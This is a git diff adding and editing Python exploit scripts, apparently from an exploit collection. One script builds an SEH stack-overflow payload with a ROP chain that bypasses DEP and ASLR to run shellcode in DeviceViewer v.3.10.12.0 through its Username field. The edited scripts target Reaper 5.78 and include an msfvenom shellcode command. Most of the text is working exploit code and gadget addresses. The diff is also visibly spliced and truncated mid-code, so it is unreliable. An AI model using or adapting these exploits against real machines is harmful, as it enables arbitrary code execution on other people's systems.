diff --git a/windows/x86/local/DeviceViewer_v.3.10.12.0/DeviceViewer.exe b/windows/x86/local/DeviceViewer_v.3.10.12.0/DeviceViewer.exe new file mode 100644 index 0000000..2d056a9 Binary files /dev/null and b/windows/x86/local/DeviceViewer_v.3.10.12.0/DeviceViewer.exe differ diff --git a/windows/x86/local/DeviceViewer_v.3.10.12.0/DeviceViewer_v.3.10.12.0.py b/windows/x86/local/DeviceViewer_v.3.10.12.0/DeviceViewer_v.3.10.12.0.py new file mode 100644 index 0000000..8a2b39a --- /dev/null +++ b/windows/x86/local/DeviceViewer_v.3.10.12.0/DeviceViewer_v.3.10.12.0.py @@ -0,0 +1,134 @@ +""" +Full title: DeviceViewer (DeviceViewer.exe) v.3.10.12.0 - 'Username' Field, Stack Buffer Overlow (SEH) DEP+ASLR Bypass +Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com +Vendor Homepage: http://www.sricam.com/ +Version: v.3.10.12.0 +Tested on: Windows 10 Pro x64 v.1909 Build 18363.720 +Category: local exploits +Platform: windows +Usage: DeviceViewer > Login Screen > in the "Username" textarea paste the content of "DeviceViewer_v.3.10.12.0_exploit.txt" and press "Login" + +PS C:\Users\user\Desktop> Import-Module .\Get-PESecurity.psm1 +PS C:\Users\user\Desktop> Get-PESecurity -file "C:\Program Files (x86)\DeviceViewer\DeviceViewer.exe" + +FileName : C:\Program Files (x86)\DeviceViewer\DeviceViewer.exe +ARCH : I386 +DotNET : False +ASLR : True +DEP : True +Authenticode : False +StrongNaming : N/A +SafeSEH : False +ControlFlowGuard : False +HighentropyVA : False +""" +#!/usr/bin/python +import struct + +poc=open("DeviceViewer_v.3.10.12.0_exploit.txt", "w") + +total_size=4000 +offset=264 # ofsset to nSEH +# | buffer (4000) | +# | garbage (254) | nSEH (4) | SEH (4) | filler (384) | rop chain (92) | stack adj (6) | shellcode (371) | filler (4000-len(buff)) | +buf = "" # our buffer +buf += "A"*offset # garbage until we hit nSEH +buf += "BBBB" # nSEH; +# 0x6b08190f : pop esi; pop edi; ret | ascii {PAGE_EXECUTE_WRITECOPY} [avcodec-52.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files (x86)\DeviceViewer\avcodec-52.dll) +#buf += struct.pack(" put 0x00000040 into edx) + 0x6ad62214, # ADD EAX,69 # RETN [avcodec-52.dll] + 0x6994f1d6, # XCHG EAX,EDX # RETN [avformat-54.dll] + #[---INFO:gadgets_to_set_esi:---] + 0x6b050b5e, # POP EAX # RETN [avcodec-52.dll] + 0x68bab1f4, # ptr to &VirtualProtect() [IAT avutil-51.dll] + 0x699150dc, # MOV EAX,DWORD PTR DS:[EAX] # RETN [avformat-54.dll] + 0x6ae8bcd8, # XCHG EAX,ESI # RETN [avcodec-52.dll] + #[---INFO:gadgets_to_set_ebx:---] + 0x6b05be37, # POP EAX # RETN [avcodec-52.dll] + 0xa1a50201, # put delta into eax (-> put 0x00000201 into ebx) + 0x6ade3410, # ADD EAX,5E5B0000 # POP EDI # POP EBP # RETN [avcodec-52.dll] + 0x41414141, # Filler (compensate) + 0x41414141, # Filler (compensate) + 0x6ad5b2b4, # PUSH EAX # POP EBX # RETN [avcodec-52.dll] + #[---INFO:gadgets_to_set_ebp:---] + 0x6aec5b60, # POP EBP # RETN [avcodec-52.dll] + 0x6ae590cf, # & push esp # ret [avcodec-52.dll] + #[---INFO:gadgets_to_set_edi:---] + 0x699b8706, # POP EDI # RETN [avformat-54.dll] + 0x6991e152, # RETN (ROP NOP) [avformat-54.dll] + #[---INFO:gadgets_to_set_ecx:---] + 0x699cc348, # POP ECX # RETN [avformat-54.dll] + 0x6b68c50c, # &Writable location [avcodec-52.dll] + #[---INFO:gadgets_to_set_eax:---] + 0x6b05be46, # POP EAX # RETN [avcodec-52.dll] + 0x90909090, # nop + #[---INFO:pushad:---] + 0x699047dc, # PUSHAD # RETN [avformat-54.dll] + ] + return ''.join(struct.pack(' Options > Preferences > ReaScript > in the "Force ReaScript to use specific python dll" textarea paste the content of "reaper_5.78_exploit.txt" +Usage: Reaper > Options > Preferences > ReaScript > in the "Force ReaScript to use specific python dll" textarea paste the content of "Reaper_5.78_exploit.txt" """ #!/usr/bin/python import struct -poc=open("reaper_5.78_exploit.txt", "w") +poc=open("Reaper_5.78_exploit.txt", "w") total_size=2000 -# | (465) | -# | garbage (37) | shellcode (max 465-37=428) | EIP (4) | filler (2000-469=1531) | +# | (465) | +# | garbage (37) | shellcode (465-37=428) | EIP (4) | filler (2000-469=1531) | offset=465 buff = "" buff += "A"*37 # garbage -buff += "BBBB" # alignment +# ESI (0x0019b6e4) points at offset 37 in normal pattern (length 474) # shellcode -# msfvenom -a x86 --platform windows -p windows/exec CMD=calc.exe exitfunc=thread -b '\x00\x0a\x0d\x7f' -e x86/alpha_mixed BufferRegister=ESI -f python --smallest -# unfortuntely is between 448-440 bytes long -# alternatively we can create our buffer with the following structure: 0x0019741c : Pointer into normal cyclic pattern at ESP-0x4264 (-16996) : 0x00197530 : offset 1036, length 760 - -# | garbage (37) | ESP-0x4264; JMP ESP () | filler () | EIP (4) | filler () | shellcode () | filler () | -buff += "" -# ------ shellcode ------ -buff += "B"*(offset-len(buff)) # filler -# must chose a pointer withouth bad chars and in the good-chars range -# 0x1003111b : call esi | ascii {PAGE_EXECUTE_READ} [elastique.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files (x86)\REAPER\Plugins\elastique.dll) -buff += struct.pack(" Options > Preferences > ReaScript > in the "Force R #!/usr/bin/python import struct -poc=open("reaper_5.78_exploit.txt", "w") +poc=open("Reaper_5.78_exploit.txt", "w") total_size=2000 # | (1036) |